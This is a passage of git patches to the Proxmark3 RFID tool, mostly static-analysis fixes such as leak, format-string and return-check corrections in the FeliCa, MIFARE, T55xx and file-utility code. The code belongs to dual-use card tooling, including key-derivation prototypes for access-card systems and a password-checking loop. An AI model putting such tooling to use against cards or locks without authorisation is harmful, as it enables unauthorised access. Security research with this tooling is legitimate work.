*key); +int mfc_algo_saflok_all(uint8_t *uid, uint8_t *keys); -uint64_t mfc_algo_mizip_one(uint8_t *uid, uint8_t sector); -void mfc_algo_mizip_all(uint8_t *uid, uint8_t *keys); +int mfc_algo_mizip_one(uint8_t *uid, uint8_t sector, uint64_t *key); +int mfc_algo_mizip_all(uint8_t *uid, uint8_t *keys); -uint64_t mfc_algo_di_one(uint8_t *uid, uint8_t sector); -void mfc_algo_di_all(uint8_t *uid, uint8_t *keys); +int mfc_algo_di_one(uint8_t *uid, uint8_t sector, uint64_t *key); +int mfc_algo_di_all(uint8_t *uid, uint8_t *keys); -uint64_t mfc_algo_sky_one(uint8_t *uid, uint8_t sector); -void mfc_algo_sky_all(uint8_t *uid, uint8_t *keys); +int mfc_algo_sky_one(uint8_t *uid, uint8_t sector, uint64_t *key); +int mfc_algo_sky_all(uint8_t *uid, uint8_t *keys); int generator_selftest(); #endif From 5b51f4b4ee948fb85a52d5d16881be0a15de1f61 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 2 Jan 2020 15:34:50 +0100 Subject: [PATCH 216/418] cppcheck --- armsrc/nprintf.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/armsrc/nprintf.c b/armsrc/nprintf.c index f86406322..645454b4e 100644 --- a/armsrc/nprintf.c +++ b/armsrc/nprintf.c @@ -281,7 +281,7 @@ static size_t _ntoa_long(out_fct_type out, char *buffer, size_t idx, size_t maxl if (!(flags & FLAGS_PRECISION) || value) { do { const char digit = (char)(value % base); - buf[len++] = digit < 10 ? '0' + digit : (flags & FLAGS_UPPERCASE ? 'A' : 'a') + digit - 10; + buf[len++] = digit < 10 ? '0' + digit : ((flags & FLAGS_UPPERCASE) ? 'A' : 'a') + digit - 10; value /= base; } while (value && (len < PRINTF_NTOA_BUFFER_SIZE)); } @@ -305,7 +305,7 @@ static size_t _ntoa_long_long(out_fct_type out, char *buffer, size_t idx, size_t if (!(flags & FLAGS_PRECISION) || value) { do { const char digit = (char)(value % base); - buf[len++] = digit < 10 ? '0' + digit : (flags & FLAGS_UPPERCASE ? 'A' : 'a') + digit - 10; + buf[len++] = digit < 10 ? '0' + digit : ((flags & FLAGS_UPPERCASE) ? 'A' : 'a') + digit - 10; value /= base; } while (value && (len < PRINTF_NTOA_BUFFER_SIZE)); } From 1abcae291cfaace63daca69ca0c138c578614c50 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 2 Jan 2020 16:07:35 +0100 Subject: [PATCH 217/418] cppcheck --- client/emv/crypto_polarssl.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/client/emv/crypto_polarssl.c b/client/emv/crypto_polarssl.c index a6f69a529..8ed38fb05 100644 --- a/client/emv/crypto_polarssl.c +++ b/client/emv/crypto_polarssl.c @@ -150,9 +150,7 @@ static struct crypto_pk *crypto_pk_polarssl_open_priv_rsa(va_list vl) { static int myrand(void *rng_state, unsigned char *output, size_t len) { size_t i; - - if (rng_state != NULL) - rng_state = NULL; + rng_state = NULL; for (i = 0; i < len; ++i) output[i] = rand(); From 1f9ec97dfd5c12bdf43b8d970b10d6cf6a5fb959 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 2 Jan 2020 16:12:19 +0100 Subject: [PATCH 218/418] cppcheck --- client/cmdhffelica.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c index 398b771d3..eedfea573 100644 --- a/client/cmdhffelica.c +++ b/client/cmdhffelica.c @@ -1395,11 +1395,11 @@ static int CmdHFFelicaSniff(const char *Cmd) { } i++; } - if (samples2skip <= 0) { + if (samples2skip == 0) { samples2skip = 10; PrintAndLogEx(INFO, "Set default samples2skip: %i", samples2skip); } - if (triggers2skip <= 0) { + if (triggers2skip == 0) { triggers2skip = 5000; PrintAndLogEx(INFO, "Set default triggers2skip: %i", triggers2skip); } From 0fcd79617d4cec8109377d0194d7e038f43c2fca Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 2 Jan 2020 16:17:46 +0100 Subject: [PATCH 219/418] cppcheck --- client/cmdhffelica.c | 23 +++++++++++++---------- 1 file changed, 13 insertions(+), 10 deletions(-) diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c index eedfea573..f34046799 100644 --- a/client/cmdhffelica.c +++ b/client/cmdhffelica.c @@ -345,7 +345,7 @@ static bool waitCmdFelica(uint8_t iSelect, PacketResponseNG *resp, bool verbose) uint16_t len = iSelect ? (resp->oldarg[1] & 0xffff) : (resp->oldarg[0] & 0xffff); if (verbose) { PrintAndLogEx(SUCCESS, "Client Received %i octets", len); - if (!len || len < 2) { + if (len == 0 || len == 1) { PrintAndLogEx(ERR, "Could not receive data correctly!"); return false; } @@ -575,6 +575,7 @@ static int CmdHFFelicaAuthentication1(const char *Cmd) { if (strlen(Cmd) < 4) { return usage_hf_felica_authentication1(); } + PrintAndLogEx(INFO, "EXPERIMENTAL COMMAND"); uint8_t data[PM3_CMD_DATA_SIZE]; bool custom_IDm = false; @@ -611,7 +612,7 @@ static int CmdHFFelicaAuthentication1(const char *Cmd) { // Number of Area (1), Area Code List (2), Number of Service (1), Service Code List (2), M1c (8) uint8_t lengths[] = {2, 4, 2, 4}; uint8_t dataPositions[] = {10, 11, 13, 14}; - for (int i = 0; i < 4; i++) { + for (i = 0; i < 4; i++) { if (add_param(Cmd, paramCount, data, dataPositions[i], lengths[i])) { paramCount++; } else { @@ -653,7 +654,7 @@ static int CmdHFFelicaAuthentication1(const char *Cmd) { PrintAndLogEx(INFO, "3DES ENCRYPTED M1c: %s", sprint_hex(output, 8)); // Add M1c Challenge to frame int frame_position = 16; - for (int i = 0; i < 8; i++) { + for (i = 0; i < 8; i++) { data[frame_position++] = output[i]; } @@ -684,7 +685,7 @@ static int CmdHFFelicaAuthentication1(const char *Cmd) { bool isKeyCorrect = false; unsigned char p2c[8]; mbedtls_des3_crypt_ecb(&des3_ctx, auth1_response.m2c, p2c); - for (int i = 0; i < 8; i++) { + for (i = 0; i < 8; i++) { if (p2c[i] != input[i]) { isKeyCorrect = false; break; @@ -781,7 +782,7 @@ static int CmdHFFelicaAuthentication2(const char *Cmd) { // Add M4c Challenge to frame int frame_position = 10; - for (int i = 0; i < 8; i++) { + for (i = 0; i < 8; i++) { data[frame_position++] = m4c[i]; } @@ -856,7 +857,7 @@ static int CmdHFFelicaWriteWithoutEncryption(const char *Cmd) { // Number of Service 2, Service Code List 4, Number of Block 2, Block List Element 4, Data 16 uint8_t lengths[] = {2, 4, 2, 4, 32}; uint8_t dataPositions[] = {10, 11, 13, 14, 16}; - for (int i = 0; i < 5; i++) { + for (i = 0; i < 5; i++) { if (add_param(Cmd, paramCount, data, dataPositions[i], lengths[i])) { paramCount++; } else { @@ -938,7 +939,7 @@ static int CmdHFFelicaReadWithoutEncryption(const char *Cmd) { datalen += 1; lengths[3] = 6; } - for (int i = 0; i < 4; i++) { + for (i = 0; i < 4; i++) { if (add_param(Cmd, paramCount, data, dataPositions[i], lengths[i])) { paramCount++; } else { @@ -954,7 +955,7 @@ static int CmdHFFelicaReadWithoutEncryption(const char *Cmd) { last_block_number = 0xFFFF; } PrintAndLogEx(INFO, "Block Element\t| Data "); - for (int i = 0x00; i < last_block_number; i++) { + for (i = 0x00; i < last_block_number; i++) { data[15] = i; AddCrc(data, datalen); datalen += 2; @@ -1106,6 +1107,7 @@ static int CmdHFFelicaRequestSpecificationVersion(const char *Cmd) { } else { felica_request_spec_response_t spec_response; memcpy(&spec_response, (felica_request_spec_response_t *)resp.data.asBytes, sizeof(felica_request_spec_response_t)); + if (spec_response.frame_response.IDm[0] != 0) { PrintAndLogEx(SUCCESS, "\nGot Request Response:"); PrintAndLogEx(SUCCESS, "\nIDm: %s", sprint_hex(spec_response.frame_response.IDm, sizeof(spec_response.frame_response.IDm))); @@ -1117,7 +1119,7 @@ static int CmdHFFelicaRequestSpecificationVersion(const char *Cmd) { PrintAndLogEx(SUCCESS, "Number of Option: %s", sprint_hex(spec_response.number_of_option, sizeof(spec_response.number_of_option))); if (spec_response.number_of_option[0] == 0x01) { PrintAndLogEx(SUCCESS, "Option Version List:"); - for (uint8_t i = 0; i < spec_response.number_of_option[0]; i++) { + for (i = 0; i < spec_response.number_of_option[0]; i++) { PrintAndLogEx(SUCCESS, " - %s", sprint_hex(spec_response.option_version_list + i * 2, sizeof(uint8_t) * 2)); } } @@ -1252,12 +1254,13 @@ static int CmdHFFelicaRequestSystemCode(const char *Cmd) { } else { felica_syscode_response_t rq_syscode_response; memcpy(&rq_syscode_response, (felica_syscode_response_t *)resp.data.asBytes, sizeof(felica_syscode_response_t)); + if (rq_syscode_response.frame_response.IDm[0] != 0) { PrintAndLogEx(SUCCESS, "\nGot Request Response:"); PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(rq_syscode_response.frame_response.IDm, sizeof(rq_syscode_response.frame_response.IDm))); PrintAndLogEx(SUCCESS, " - Number of Systems: %s", sprint_hex(rq_syscode_response.number_of_systems, sizeof(rq_syscode_response.number_of_systems))); PrintAndLogEx(SUCCESS, " - System Codes: enumerated in ascending order starting from System 0."); - for (uint8_t i = 0; i < rq_syscode_response.number_of_systems[0]; i++) { + for (i = 0; i < rq_syscode_response.number_of_systems[0]; i++) { PrintAndLogEx(SUCCESS, " - %s", sprint_hex(rq_syscode_response.system_code_list + i * 2, sizeof(uint8_t) * 2)); } } From ac8e74c1d9de2e74f0ca87b6484ad650cba12837 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 2 Jan 2020 19:52:23 +0100 Subject: [PATCH 220/418] cppcheck --- client/cmdlft55xx.c | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/client/cmdlft55xx.c b/client/cmdlft55xx.c index 72dc7befe..d992b6d58 100644 --- a/client/cmdlft55xx.c +++ b/client/cmdlft55xx.c @@ -3062,8 +3062,6 @@ static int CmdT55xxChkPwds(const char *Cmd) { return PM3_ESOFT; } - // loop - uint64_t curr_password = 0x00; for (uint16_t c = 0; c < keycount; ++c) { if (!session.pm3_present) { @@ -3077,7 +3075,7 @@ static int CmdT55xxChkPwds(const char *Cmd) { return PM3_EOPABORTED; } - curr_password = bytes_to_num(keyBlock + 4 * c, 4); + uint64_t curr_password = bytes_to_num(keyBlock + 4 * c, 4); PrintAndLogEx(INFO, "Testing %08"PRIX64, curr_password); for (dl_mode = downlink_mode; dl_mode <= 3; dl_mode++) { @@ -3485,14 +3483,20 @@ static int CmdT55xxDetectPage1(const char *Cmd) { if (!useGB) { for (dl_mode = downlink_mode; dl_mode < 4; dl_mode++) { found = AcquireData(T55x7_PAGE1, T55x7_TRACE_BLOCK1, usepwd, password, dl_mode); - //return PM3_ENODATA; - if (tryDetectP1(false)) { //tryDetectModulation()) + if (found == false) + continue; + + if (tryDetectP1(false)) { found = true; found_mode = dl_mode; dl_mode = 4; - } else found = false; + } else { + found = false; + } - if (!try_all_dl_modes) dl_mode = 4; + if (!try_all_dl_modes) { + dl_mode = 4; + } } } else { From e1503a255b8d719d19d4de6c76743eecbf05ac5c Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 3 Jan 2020 17:40:03 +0100 Subject: [PATCH 221/418] covery 263989 --- client/cmdhffelica.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c index f34046799..017c34c0e 100644 --- a/client/cmdhffelica.c +++ b/client/cmdhffelica.c @@ -528,7 +528,7 @@ static bool check_last_idm(uint8_t *data, uint16_t datalen) { PrintAndLogEx(ERR, "No last known card! Use reader first or set a custom IDm!"); return 0; } else { - PrintAndLogEx(INFO, "Used last known IDm.", sprint_hex(data, datalen)); + PrintAndLogEx(INFO, "Used last known IDm. %s", sprint_hex(data, datalen)); return 1; } } From 78aae857ac92c19d9995d3bd3de806dd02439b04 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 3 Jan 2020 17:46:50 +0100 Subject: [PATCH 222/418] covery 263985 --- client/cmdhffelica.c | 39 ++++++++++++++++++++++++++++++++------- 1 file changed, 32 insertions(+), 7 deletions(-) diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c index 017c34c0e..f0691c06f 100644 --- a/client/cmdhffelica.c +++ b/client/cmdhffelica.c @@ -440,8 +440,12 @@ static void clear_and_send_command(uint8_t flags, uint16_t datalen, uint8_t *dat */ static bool add_param(const char *Cmd, uint8_t paramCount, uint8_t *data, uint8_t dataPosition, uint8_t length) { if (param_getlength(Cmd, paramCount) == length) { - param_gethex(Cmd, paramCount, data + dataPosition, length); - return true; + + if (param_gethex(Cmd, paramCount, data + dataPosition, length) == 1) + return false; + else + return true; + } else { PrintAndLogEx(ERR, "Param %s", Cmd); PrintAndLogEx(ERR, "Incorrect Parameter length! Param %i should be %i", paramCount, length); @@ -637,11 +641,19 @@ static int CmdHFFelicaAuthentication1(const char *Cmd) { mbedtls_des3_context des3_ctx; mbedtls_des3_init(&des3_ctx); if (param_getlength(Cmd, paramCount) == 48) { - param_gethex(Cmd, paramCount, master_key, 48); + if (param_gethex(Cmd, paramCount, master_key, 48) == 1) { + PrintAndLogEx(ERR, "Failed param key"); + return PM3_EINVARG; + } mbedtls_des3_set3key_enc(&des3_ctx, master_key); PrintAndLogEx(INFO, "3DES Master Secret: %s", sprint_hex(master_key, 24)); } else if (param_getlength(Cmd, paramCount) == 32) { - param_gethex(Cmd, paramCount, master_key, 32); + + if (param_gethex(Cmd, paramCount, master_key, 32) == 1) { + PrintAndLogEx(ERR, "Failed param key"); + return PM3_EINVARG; + } + // Assumption: Master secret split in half for Kac, Kbc mbedtls_des3_set2key_enc(&des3_ctx, master_key); PrintAndLogEx(INFO, "3DES Master Secret: %s", sprint_hex(master_key, 16)); @@ -761,7 +773,11 @@ static int CmdHFFelicaAuthentication2(const char *Cmd) { mbedtls_des3_init(&des3_ctx); unsigned char p3c[8]; if (param_getlength(Cmd, paramCount) == 32) { - param_gethex(Cmd, paramCount, master_key, 32); + + if (param_gethex(Cmd, paramCount, master_key, 32)) == 1) { + PrintAndLogEx(ERR, "Failed param key"); + return PM3_EINVARG; + } reverse_3des_key(master_key, 16, reverse_master_key); mbedtls_des3_set2key_dec(&des3_ctx, reverse_master_key); mbedtls_des3_set2key_enc(&des3_ctx, master_key); @@ -1311,7 +1327,12 @@ static int CmdHFFelicaRequestService(const char *Cmd) { if (!all_nodes) { // Node Number if (param_getlength(Cmd, paramCount) == 2) { - param_gethex(Cmd, paramCount++, data + 10, 2); + + if (param_gethex(Cmd, paramCount++, data + 10, 2) == 1) { + PrintAndLogEx(ERR, "Failed param key"); + return PM3_EINVARG; + } + } else { PrintAndLogEx(ERR, "Incorrect Node number length!"); return PM3_EINVARG; @@ -1319,7 +1340,11 @@ static int CmdHFFelicaRequestService(const char *Cmd) { } if (param_getlength(Cmd, paramCount) == 4) { - param_gethex(Cmd, paramCount++, data + 11, 4); + + if (param_gethex(Cmd, paramCount++, data + 11, 4) == 1) { + PrintAndLogEx(ERR, "Failed param key"); + return PM3_EINVARG; + } } else { PrintAndLogEx(ERR, "Incorrect parameter length!"); return PM3_EINVARG; From c1f9e076a8d8ce31141179d051c4e8302a1e3ae9 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 3 Jan 2020 17:53:03 +0100 Subject: [PATCH 223/418] covery --- client/cmdhffelica.c | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c index f0691c06f..32a6fe164 100644 --- a/client/cmdhffelica.c +++ b/client/cmdhffelica.c @@ -458,14 +458,19 @@ static bool add_param(const char *Cmd, uint8_t paramCount, uint8_t *data, uint8_ * @param rd_noCry_resp Response frame. */ static void print_rd_noEncrpytion_response(felica_read_without_encryption_response_t *rd_noCry_resp) { - if (rd_noCry_resp->status_flags.status_flag1[0] == 00 && rd_noCry_resp->status_flags.status_flag2[0] == 00) { + + if (rd_noCry_resp->status_flags.status_flag1[0] == 00 && + rd_noCry_resp->status_flags.status_flag2[0] == 00) { + char *temp = sprint_hex(rd_noCry_resp->block_data, sizeof(rd_noCry_resp->block_data)); + char bl_data[256]; strcpy(bl_data, temp); char bl_element_number[4]; temp = sprint_hex(rd_noCry_resp->block_element_number, sizeof(rd_noCry_resp->block_element_number)); strcpy(bl_element_number, temp); + PrintAndLogEx(INFO, "\t%s\t| %s ", bl_element_number, bl_data); } else { PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(rd_noCry_resp->frame_response.IDm, sizeof(rd_noCry_resp->frame_response.IDm))); @@ -754,11 +759,13 @@ static int CmdHFFelicaAuthentication2(const char *Cmd) { } i++; } + data[0] = int_to_hex(&datalen); data[1] = 0x12; // Command ID if (!custom_IDm && !check_last_idm(data, datalen)) { return PM3_EINVARG; } + // M3c (8) unsigned char m3c[8]; if (add_param(Cmd, paramCount, m3c, 0, 16)) { @@ -766,6 +773,7 @@ static int CmdHFFelicaAuthentication2(const char *Cmd) { } else { return PM3_EINVARG; } + // Create M4c challenge response with 3DES uint8_t master_key[PM3_CMD_DATA_SIZE]; uint8_t reverse_master_key[PM3_CMD_DATA_SIZE]; @@ -774,7 +782,7 @@ static int CmdHFFelicaAuthentication2(const char *Cmd) { unsigned char p3c[8]; if (param_getlength(Cmd, paramCount) == 32) { - if (param_gethex(Cmd, paramCount, master_key, 32)) == 1) { + if (param_gethex(Cmd, paramCount, master_key, 32) == 1) { PrintAndLogEx(ERR, "Failed param key"); return PM3_EINVARG; } @@ -1354,9 +1362,11 @@ static int CmdHFFelicaRequestService(const char *Cmd) { if (custom_IDm) { flags |= FELICA_NO_SELECT; } + if (datalen > 0) { flags |= FELICA_RAW; } + datalen = (datalen > PM3_CMD_DATA_SIZE) ? PM3_CMD_DATA_SIZE : datalen; if (!custom_IDm && !check_last_idm(data, datalen)) { return PM3_EINVARG; @@ -1423,13 +1433,15 @@ static int CmdHFFelicaSniff(const char *Cmd) { } i++; } + if (samples2skip == 0) { samples2skip = 10; - PrintAndLogEx(INFO, "Set default samples2skip: %i", samples2skip); + PrintAndLogEx(INFO, "Set default samples2skip: %" PRIu64, samples2skip); } + if (triggers2skip == 0) { triggers2skip = 5000; - PrintAndLogEx(INFO, "Set default triggers2skip: %i", triggers2skip); + PrintAndLogEx(INFO, "Set default triggers2skip: %" PRIu64, triggers2skip); } PrintAndLogEx(INFO, "Start Sniffing now. You can stop sniffing with clicking the PM3 Button"); From 9020df5b302d061408489cfc28ecd8295157fce6 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 3 Jan 2020 17:57:45 +0100 Subject: [PATCH 224/418] covery --- client/aidsearch.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/client/aidsearch.c b/client/aidsearch.c index ecaa6e6c8..676db4cc7 100644 --- a/client/aidsearch.c +++ b/client/aidsearch.c @@ -8,14 +8,11 @@ // Proxmark3 RDV40 AID list library //----------------------------------------------------------------------------- #include "aidsearch.h" - #include #include - #include "fileutils.h" #include "pm3_cmd.h" - int openAIDFile(json_t **root, bool verbose) { json_error_t error; @@ -39,7 +36,7 @@ int openAIDFile(json_t **root, bool verbose) { goto out; } - if (verbose) PrintAndLogEx(SUCCESS, "Loaded file (%s) OK. %d records.", path, json_array_size(*root)); + if (verbose) PrintAndLogEx(SUCCESS, "Loaded file (%s) OK. %zu records.", path, json_array_size(*root)); out: free(path); return retval; From 21de7a265bed95d1034ee8087ffbd754b7fe95cd Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 3 Jan 2020 18:07:31 +0100 Subject: [PATCH 225/418] covery 265055, 265056, 265059 resource leak --- client/cmdhfmf.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index 9b43f5a3d..a8960d5d0 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -1799,6 +1799,7 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { // create/initialize key storage structure int32_t res = initSectorTable(&e_sector, sectors_cnt); if (res != sectors_cnt) { + free(e_sector); return PM3_EMALLOC; } @@ -3644,8 +3645,10 @@ static int CmdHF14AMfEKeyPrn(const char *Cmd) { // create/initialize key storage structure int32_t res = initSectorTable(&e_sector, sectors_cnt); - if (res != sectors_cnt) + if (res != sectors_cnt) { + free(e_sector); return PM3_EMALLOC; + } // read UID from EMUL if (mfEmlGetMem(data, 0, 1) != PM3_SUCCESS) { @@ -4083,6 +4086,7 @@ static int CmdHF14AMfCSave(const char *Cmd) { PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { PrintAndLogEx(WARNING, "iso14443a card select failed"); + free(dump); return PM3_ESOFT; } From b7e8ee86a042da0d1a03ae308047cde7f59e8861 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 3 Jan 2020 18:08:42 +0100 Subject: [PATCH 226/418] covery 265060 resource leak --- client/fileutils.c | 1 + 1 file changed, 1 insertion(+) diff --git a/client/fileutils.c b/client/fileutils.c index a11dbcd2a..b13a092eb 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -473,6 +473,7 @@ int createMfcKeyDump(const char *preferredName, uint8_t sectorsCnt, sector_t *e_ FILE *f = fopen(fileName, "wb"); if (f == NULL) { PrintAndLogEx(WARNING, "Could not create file " _YELLOW_("%s"), fileName); + free(fileName); return PM3_EFILE; } PrintAndLogEx(SUCCESS, "Generating binary key file"); From 30c45c4741c6ec7faaead6e3e080f498dce65fe6 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 3 Jan 2020 18:13:05 +0100 Subject: [PATCH 227/418] covery 265057 - fseek --- client/fileutils.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/client/fileutils.c b/client/fileutils.c index b13a092eb..dcdffb401 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -856,9 +856,13 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale goto out; } - if (startFilePosition) - fseek(f, startFilePosition, SEEK_SET); - + if (startFilePosition) { + if (fseek(f, startFilePosition, SEEK_SET) < 0){ + retval = PM3_EFILE; + goto out; + } + } + // read file while (!feof(f)) { size_t filepos = ftell(f); From 217c8d043cf01208dd456da96c02fb806bf7f9de Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 3 Jan 2020 18:18:37 +0100 Subject: [PATCH 228/418] covery 265061 --- client/fileutils.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/client/fileutils.c b/client/fileutils.c index dcdffb401..d0428a9a6 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -161,7 +161,7 @@ int saveFile(const char *preferredName, const char *suffix, const void *data, si fwrite(data, 1, datalen, f); fflush(f); fclose(f); - PrintAndLogEx(SUCCESS, "saved %zu bytes to binary file " _YELLOW_("%s"), datalen, fileName); + PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%" PRIu16 )" bytes to binary file " _YELLOW_("%s"), datalen, fileName); free(fileName); return PM3_SUCCESS; } @@ -204,7 +204,7 @@ int saveFileEML(const char *preferredName, uint8_t *data, size_t datalen, size_t } fflush(f); fclose(f); - PrintAndLogEx(SUCCESS, "saved %d blocks to text file " _YELLOW_("%s"), blocks, fileName); + PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%" PRId32 )" blocks to text file " _YELLOW_("%s"), blocks, fileName); out: free(fileName); @@ -429,7 +429,7 @@ int saveFileWAVE(const char *preferredName, int *data, size_t datalen) { } sf_close(wave_file); - PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%d")" bytes to wave file " _YELLOW_("'%s'"), 2 * datalen, fileName); + PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%" PRIu32 )" bytes to wave file " _YELLOW_("'%s'"), 2 * datalen, fileName); out: free(fileName); @@ -456,7 +456,7 @@ int saveFilePM3(const char *preferredName, int *data, size_t datalen) { fflush(f); fclose(f); - PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%d")" bytes to PM3 file " _YELLOW_("'%s'"), datalen, fileName); + PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%" PRIu16 )" bytes to PM3 file " _YELLOW_("'%s'"), datalen, fileName); out: free(fileName); From c2e3f8c7d5621f70d02b71b2359320b49ba72d13 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 3 Jan 2020 18:19:42 +0100 Subject: [PATCH 229/418] covery 265061 --- client/cmdtrace.c | 1 + 1 file changed, 1 insertion(+) diff --git a/client/cmdtrace.c b/client/cmdtrace.c index 51f5fad28..a13a82809 100644 --- a/client/cmdtrace.c +++ b/client/cmdtrace.c @@ -381,6 +381,7 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr break; case FELICA: annotateFelica(explanation, sizeof(explanation), frame, data_len); + break; case LTO: annotateLTO(explanation, sizeof(explanation), frame, data_len); break; From 12885d6726be8c089da378147a86b3e54ddc1e49 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 3 Jan 2020 18:41:53 +0100 Subject: [PATCH 230/418] covery 263986 --- client/cmdhffelica.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c index 32a6fe164..734962651 100644 --- a/client/cmdhffelica.c +++ b/client/cmdhffelica.c @@ -1332,6 +1332,7 @@ static int CmdHFFelicaRequestService(const char *Cmd) { } i++; } + if (!all_nodes) { // Node Number if (param_getlength(Cmd, paramCount) == 2) { @@ -1366,11 +1367,12 @@ static int CmdHFFelicaRequestService(const char *Cmd) { if (datalen > 0) { flags |= FELICA_RAW; } - + datalen = (datalen > PM3_CMD_DATA_SIZE) ? PM3_CMD_DATA_SIZE : datalen; if (!custom_IDm && !check_last_idm(data, datalen)) { return PM3_EINVARG; } + data[0] = int_to_hex(&datalen); data[1] = 0x02; // Service Request Command ID if (all_nodes) { @@ -1742,7 +1744,7 @@ static int CmdHFFelicaCmdRaw(const char *Cmd) { sscanf(buf, "%x", &temp); data[datalen] = (uint8_t)(temp & 0xff); *buf = 0; - if (++datalen >= sizeof(data)) { + if (++datalen >= (sizeof(data) - 2)) { if (crc) PrintAndLogEx(WARNING, "Buffer is full, we can't add CRC to your data"); break; From 5f1ef5f5903a4a43a0fd20283dd4b79296632822 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Fri, 3 Jan 2020 19:50:27 +0200 Subject: [PATCH 231/418] fix `shadow variable` thanks @iceman1001 ) --- client/emv/dol.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/client/emv/dol.c b/client/emv/dol.c index c7f8fd563..973349e56 100644 --- a/client/emv/dol.c +++ b/client/emv/dol.c @@ -32,14 +32,14 @@ static size_t dol_calculate_len(const struct tlv *tlv, size_t data_len) { size_t count = 0; while (left) { - struct tlv tlv; - if (!tlv_parse_tl(&buf, &left, &tlv)) + struct tlv cur_tlv; + if (!tlv_parse_tl(&buf, &left, &cur_tlv)) return 0; - count += tlv.len; + count += cur_tlv.len; /* Last tag can be of variable length */ - if (tlv.len == 0 && left == 0) + if (cur_tlv.len == 0 && left == 0) count = data_len; } From 51ad5c23321b2f1a22f4b6f371f9a8e438dcbcac Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 3 Jan 2020 18:55:13 +0100 Subject: [PATCH 232/418] cppcheck --- armsrc/usart.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/usart.c b/armsrc/usart.c index f3abb40a1..2062c9441 100644 --- a/armsrc/usart.c +++ b/armsrc/usart.c @@ -49,7 +49,7 @@ static size_t us_rxfifo_high = 0; static void usart_fill_rxfifo(void) { - uint16_t rxfifo_free = 0; + uint16_t rxfifo_free ; if (pUS1->US_RNCR == 0) { // One buffer got filled, backup buffer being used if (us_rxfifo_low > us_rxfifo_high) rxfifo_free = us_rxfifo_low - us_rxfifo_high; From 15597c6c38e02ec9a456a22487b9e2f84d771a69 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 3 Jan 2020 18:59:41 +0100 Subject: [PATCH 233/418] cppcheck --- client/cmdhw.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/client/cmdhw.c b/client/cmdhw.c index a35f15b5e..b71512432 100644 --- a/client/cmdhw.c +++ b/client/cmdhw.c @@ -539,9 +539,8 @@ static int CmdPing(const char *Cmd) { data[i] = i & 0xFF; SendCommandNG(CMD_PING, data, len); if (WaitForResponseTimeout(CMD_PING, &resp, 1000)) { - bool error = false; if (len) { - error = memcmp(data, resp.data.asBytes, len) != 0; + bool error = (memcmp(data, resp.data.asBytes, len) != 0); PrintAndLogEx((error) ? ERR : SUCCESS, "Ping response " _GREEN_("received") "and content is %s", error ? _RED_("NOT ok") : _GREEN_("OK")); } else { PrintAndLogEx(SUCCESS, "Ping response " _GREEN_("received")); From 4523350471c5a76b433d6e369b36c006d6af9e03 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 3 Jan 2020 19:07:00 +0100 Subject: [PATCH 234/418] coverty 265064, 226284 --- client/fileutils.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/client/fileutils.c b/client/fileutils.c index d0428a9a6..64e5607a8 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -161,7 +161,7 @@ int saveFile(const char *preferredName, const char *suffix, const void *data, si fwrite(data, 1, datalen, f); fflush(f); fclose(f); - PrintAndLogEx(SUCCESS, "saved " 